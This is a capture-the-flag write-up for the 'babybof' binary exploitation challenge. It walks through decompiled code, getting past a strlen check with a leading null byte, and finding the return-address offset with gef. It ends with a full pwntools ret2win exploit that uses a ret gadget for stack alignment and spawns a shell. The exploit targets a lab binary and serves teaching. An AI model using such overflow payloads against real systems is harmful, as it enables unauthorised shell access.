babybof
Babybof was an Easy Binary Exploitation challenge from UoftCTF 2026. It was the most solved Binary Exploitation challenge.
Babybof was an Easy Binary Exploitation challenge from UoftCTF 2026. It was the most solved Binary Exploitation challenge.
Reversing
After putting the chall binary into ghidra, and disassembling main, I got the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
undefined8 main(void)
{
size_t sVar1;
char local_18 [16];
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
local_18[0] = '\0';
local_18[1] = '\0';
local_18[2] = '\0';
local_18[3] = '\0';
local_18[4] = '\0';
local_18[5] = '\0';
local_18[6] = '\0';
local_18[7] = '\0';
local_18[8] = '\0';
local_18[9] = '\0';
local_18[10] = '\0';
local_18[0xb] = '\0';
local_18[0xc] = '\0';
local_18[0xd] = '\0';
local_18[0xe] = '\0';
local_18[0xf] = '\0';
puts("What is your name: ");
gets(local_18);
sVar1 = strlen(local_18);
if (0xe < sVar1) {
puts("Thats suspicious.");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Hi, %s!\n",local_18);
return 0;
}
The challenge uses gets() to write into a fixed size buffer. The problem with gets() is that it can write an arbitrary amount leading to a buffer overflow, which can change the saved instruction pointer on the stack giving an attacker full control over the program. In this challenge, the author tried to prevent this using a strlen() check to make sure the input is less than 14, before returning.
Null Byte Abuse
The unfortunate thing about the strlen() function is that it stops reading at a null byte ‘\x00.’ So, since I can pass in a null byte to the input before my payload, I can bypass this check.
Saved Instruction Pointer Offset
Adding the null byte to the start of a cyclic payload, I found the offset of the saved instruction pointer on the stack relative to the start of the buffer. To do this, I used the gef binary debugger tool to inspect the memory at rsp after the overflow. The reason I’m checking the memory at rsp instead of rip is because this is a 64 bit program. 64 bit programs use canonical addressing, and if the overwritten return address isn’t in the canonical address range (for testing it will be outside the range), it won’t execute the return instruction. This leaves the value that is supposed to go in the rip at the top of the stack or the rsp register.
I passed a byte string with a null byte at the start to skip the strlen() check, followed by a long De Bruijn sequence (can be generated using pattern create 500 in gef). The way I did this was by writing the bytes to a .bin file and sending then the contents as my input. gef calculated the offset using the De Bruijn sequence bytes at rsp, returning 23 bytes.
1
2
with open("de_bruijn.bin", "wb") as f:
f.write(b"\x00"+b"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa")
1
2
3
gef➤ pattern offset $rsp
[+] Searching for '6164616161616161'/'6161616161616461' with period=8
[+] Found at offset 23 (little-endian search) likely
Payload Creation
Using the offset, I generated a payload that replaces the saved instruction pointer on the stack with the address of the win() function. Since there is no PIE, this address will be the same every execution. To get the address of the win() function, I used gef again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010a0 puts@plt
0x00000000004010b0 strlen@plt
0x00000000004010c0 system@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 gets@plt
0x00000000004010f0 setvbuf@plt
0x0000000000401100 exit@plt
0x0000000000401110 _start
0x0000000000401140 _dl_relocate_static_pie
0x0000000000401150 deregister_tm_clones
0x0000000000401180 register_tm_clones
0x00000000004011c0 __do_global_dtors_aux
0x00000000004011f0 frame_dummy
0x00000000004011f6 win
0x0000000000401210 main
0x00000000004012d8 _fini
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
elf = ELF('./chall')
p = process(elf.path)
payload = b'\x00' + b'A'*23
payload += p64(0x00000000004011f6)
with open("payload.bin", "wb") as f:
f.write(payload)
p.sendline(payload)
p.interactive()
Stack Alignment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7c535e4 mov QWORD PTR [rsp+0x60], rax
0x7ffff7c535e9 mov rax, QWORD PTR [rip+0x1c19c8] # 0x7ffff7e14fb8
0x7ffff7c535f0 punpcklqdq xmm0, xmm1
→ 0x7ffff7c535f4 movaps XMMWORD PTR [rsp+0x50], xmm0
0x7ffff7c535f9 mov r9, QWORD PTR [rax]
0x7ffff7c535fc call 0x7ffff7cf94e0 <posix_spawn>
0x7ffff7c53601 mov rdi, rbx
0x7ffff7c53604 mov ebp, eax
0x7ffff7c53606 call 0x7ffff7cf9950 <posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7c535f4 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7c535f4 → movaps XMMWORD PTR [rsp+0x50], xmm0
[#1] 0x40120d → win()
However, despite everything looking correct, the payload did not successfully execute the win() function. Opening gef again, and passing in payload.bin, it’s clear that the binary breaks at movaps XMMWORD PTR [rsp+0x50], xmm0. A bit of googling revealed that segfaulting on this instruction indicates that the stack is not aligned. The stack needs to be 16 byte aligned when calling certain functions in libc, especially ones that modify the system (this is just a calling convention). This includes the system() function, which is what is used in win() to call a shell.
1
2
3
4
5
6
void win(void)
{
system("/bin/sh");
return;
}
To fix this stack alignment issue, I simply adding a ret gadget before calling win() (found using ROPgadget). A ret gadget adds 8 to rsp by the time it reaches the win() address because the stack has to fit in an extra instruction, making its address a multiple of 16 if it’s not already. The ret gadget will set the value at the top of the stack to rip, which in this case is the win() address.
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary=chall | grep ": ret"
0x000000000040101a : ret
This resulted in the final payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
elf = ELF('./chall')
p = process(elf.path)
payload = b'\x00' + b'A'*23
payload += p64(0x000000000040101a)
payload += p64(0x00000000004011f6)
with open("payload.bin", "wb") as f:
f.write(payload)
p.sendline(payload)
p.interactive()